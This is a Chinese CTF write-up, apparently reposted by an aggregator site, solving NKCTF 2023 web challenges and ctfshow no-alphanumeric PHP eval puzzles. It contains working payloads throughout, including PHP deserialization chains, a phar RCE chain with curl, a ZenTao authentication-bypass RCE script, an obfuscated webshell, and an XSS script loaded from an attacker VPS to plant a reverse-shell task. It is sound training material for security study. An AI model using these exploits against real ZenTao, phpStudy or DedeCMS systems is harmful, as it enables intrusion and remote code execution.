2023 NKCTF
Posted H0ne
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2023 NKCTF相关的知识,希望对你有一定的参考价值。
WEB
babyphp
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = 'oww!man!!';
public function __construct()
$this->name = 'ItS SO CREAZY';
public function __destruct()
if($this->name == 'welcome_to_NKCTF')
echo $this->arg;
function waf($string)
if(preg_match('/f|l|a|g|\\*|\\?/i', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
$function = $this->func;
$function();
if(isset($_GET['p']))
unserialize($_GET['p']);
else
highlight_file(__FILE__);
?>
这里面最主要是考点就是绕过preg_match匹配
使用linux通配符来绕过
cat [b-z][b-z][b-z]
或者说[!]来替换通配符 [!q]表示匹配非q的字符
eazyphp
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b']))
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d']))
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514)
if(isset($_GET['NS_CTF.go']))
if(isset($_POST['cmd']))
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd']))
eval($_POST['cmd']);
else
die('error!!!!!!');
else
die('error!!!!!');
else
die('error!!!!');
else
die('error!!!');
else
die('error!!');
else
die('error!');
?>
考查的就是基本的传参
POST /?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
hard_php
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['NKCTF']))
$NK = $_POST['NKCTF'];
if (is_string($NK))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$NK) && strlen($NK) < 105)
eval($NK);
else
echo("hacker!!!");
else
phpinfo();
?>
数组能够直接绕过preg_match,让他直接执行phpinfo()
NKCTF[]=_ 看phpinfo()
disable_functions,过滤的函数有
disable_functions passthru,exec,system,chroot,scandir,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,symlink,popepassthru,stream_socket_server,show_source
使用highlight_file()函数
NKCTF=$%ff=(_/_._)[_];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[%ff]($$_[_]);&%ff=highlight_file&_=/flag
webpagetest
./phpggc Monolog/RCE2 system 'cat /*' -p phar -o /tmp/testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\\n" | sed "s#..#%&#g")
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
ez_pms
看一下禅道的版本,存在前台RCE
<script src='/js/all.js?v=18.0.beta1'></script>
# -*- coding: UTF-8 -*-
# !/usr/bin/python
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies =
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
def check(url):
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers=
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
headers2 =
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=`cat /flag|base64 -w 0`'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
print(req4.text)
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://4a62faad-f1af-400f-bc23-f9c22b50029d.node1.yuzhian.com.cn/"))
easy_cms
在/dede目录下进入管理员登录界面,是个弱口令admin,admin直接登录。
进入后台来到文件式管理器这里,发现可以上传和新建文件。新建了一个php文件,系统会匹配你的文件有没有恶意代码,这个有点像php自动审计工具识别漏洞点一样,是一种基于静态代码分析的一种静态审计,于是我们给他上传一个无字母数字webshell上去,就不会被检测到了
在根目录上传如下webshell
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
//post a=cat /f1Aggg;
xiaopi
请求带上请求头,才能出现登录框
X-Requested-With: XMLHttpRequest
登录框插入payload
<script src=http://ip:80/poc.js></script>
vps放置poc.js,然后启动http服务,让目标反弹一个shell回来
function poc()
$.get('/service/app/tasks.php?type=task_list',,function(data)
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',
tid:id
,function(res2)
$.post('/service/app/log.php?type=clearlog',
,function(res3),"json");
,"json");
,"json");
function save()
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='反弹shell';
$.post('/service/app/tasks.php?type=save_shell',data,function(res)
poc();
,'json');
save();
phpstudy 小皮面板 RCE利用链 - 腾讯云开发者社区-腾讯云 (tencent.com)
2023 NKCTF
2023 NKCTF
打了一下 NKCTF 有几个不知道的点 把自己认为值得记录的题写一下
babyphp
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
$function = $this->func;
$function();
if(isset($_GET[\'p\']))
unserialize($_GET[\'p\']);
else
highlight_file(__FILE__);
?>
这里过滤了 f l a g ? *
解法一
这几个字符 这里我们可以直接 把 $shell 赋值为 urldecode 然后 把 $cmd 赋值为 system($_POST[0]);
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="urldecode";
$Happy->cmd="system(\\$_POST[0]);";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
解法二
还有一种方法是
$Happy->shell="system";
$Happy->cmd="cd /;`more dir`";
解法三
使用 sed 命令 sed 有个新增命令 sed -e 4a\\xxxxxx xxxxx为要新增的内容 4a 是要在第四行 进行插入
但是 4a这里是由a的 所以不可以 但是可以用
sed -n \'1,38p\' index.php > 5.php 然后这里再用 追加写入 >> 来写 system($_POST[0]);
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="echo \'system(\\$_POST[0]);\' >> 5.php";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
解法四
这种解法是在p牛的文章里面提到过
linux 中的 通配符不止只有 * 和 ?还有一种类似于正则的通配符 [!q] 这里代表匹配非q字符
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="more /[!q][!q][!q][!q]";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
hardphp
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'NKCTF\']))
$NK = $_POST[\'NKCTF\'];
if (is_string($NK))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$NK) && strlen($NK) < 105)
eval($NK);
else
echo("hacker!!!");
else
phpinfo();
?>
经典的 无数字字母 rce
通过 ctfshow 的rce大挑战来总结一下
rce1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST[\'code\'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
这里把 ( . 过滤掉了 然后 可以用php中的反引号来执行系统命令
这里要先闭合 之前的php标签 在使用 php短标签 当然也可以使用echo
dir;
rce2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
就跟我们平常使用的paylaod
<?php
$_=[].[];
$_=$_[\'\'];
$_++;
$_++;
$_++;
$_++;
$__=$_;
$_++;
$_++;
$__=$_.$__;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$__=$__.$_;
$\'_\'.$__[_]($\'_\'.$__[__]);
构造出GET 然后拼接 $ 和 _ 得到 $GET(_)($GET[__]); 用到不同的是 它禁用了
所有我们就不能通过这种 $ _ GET 拼接的方式了 这里不使用 的话还用 另一种拼接方式
_GET 然后再前面直接加$ 就可以得到$GET 然后拼接[_]
然后用 () 包裹住 实例
($$___[_])($$___[__]);
完整的poc
<?php
$_=[].[];$__=\'\';
$_=$_[\'\'];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$_=++$_;
$_=++$_;
$__=$_.$__;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$___=\'_\';
$___.=$__;
($$___[_])($$___[__]);
总结一下 如果没有 的话就可以 先 拼接出_GET
然后直接加$ 就可以了 要 url编码传过去
rce3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105)
if (!preg_match("/[a-zA-Z2-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
这次加了 长度限制 然后又 过滤了 更多的字符
$ ( ) + , . / 0 1 ; = [ ] _
过滤了 引号 那如何 获取 A 字符呢 但是这里我们可以使用 01 了
这里可以使用 0 和1 先 看几个知识点
php在进行计算的时候 认为结果是无限大的时候他会返回结果是INF (infinite)
举例 echo (1/0) 就会输出INF
PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); 就会输出NAN
因为这里有允许我们使用01 所以我们可以使用 01 来取上面的东西
这里直接取的话 会返回空 这里可以拼接一个 A就可以 取出来了
取出N的话就可以直接用POST来执行了
<?php
$_=([].[])[0];
$_=($_/$_)[0];
$_=($_/$_.$_)[0];
$_++;
$__=$_.$_++;
$_++;
$_++;
$_++;
$_=_.$__.$_.++$_;
$$_[_]($$_[1]);
<?php
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
rce4
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84)
if (!preg_match("/[a-zA-Z1-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
先看过滤
$ ( ) + , . / 0 ; = [ ] _
并且限制了 84个字符
<?php
$_=((0/0).[])[0];
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
rce5
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73)
if (!preg_match("/[a-zA-Z0-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
$ ( ) + , . / ; = [ ] _
限制 73位
这里就用了一些特殊字符了 因为用 __ 会 多几个字符 这里可以使用 不可见字符
$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=whoami
<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);
这个已经完全看不懂了
<?PHP
$_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb
以上是关于2023 NKCTF的主要内容,如果未能解决你的问题,请参考以下文章
2023年亚太应用数学与统计学国际会议 (AMS 2023)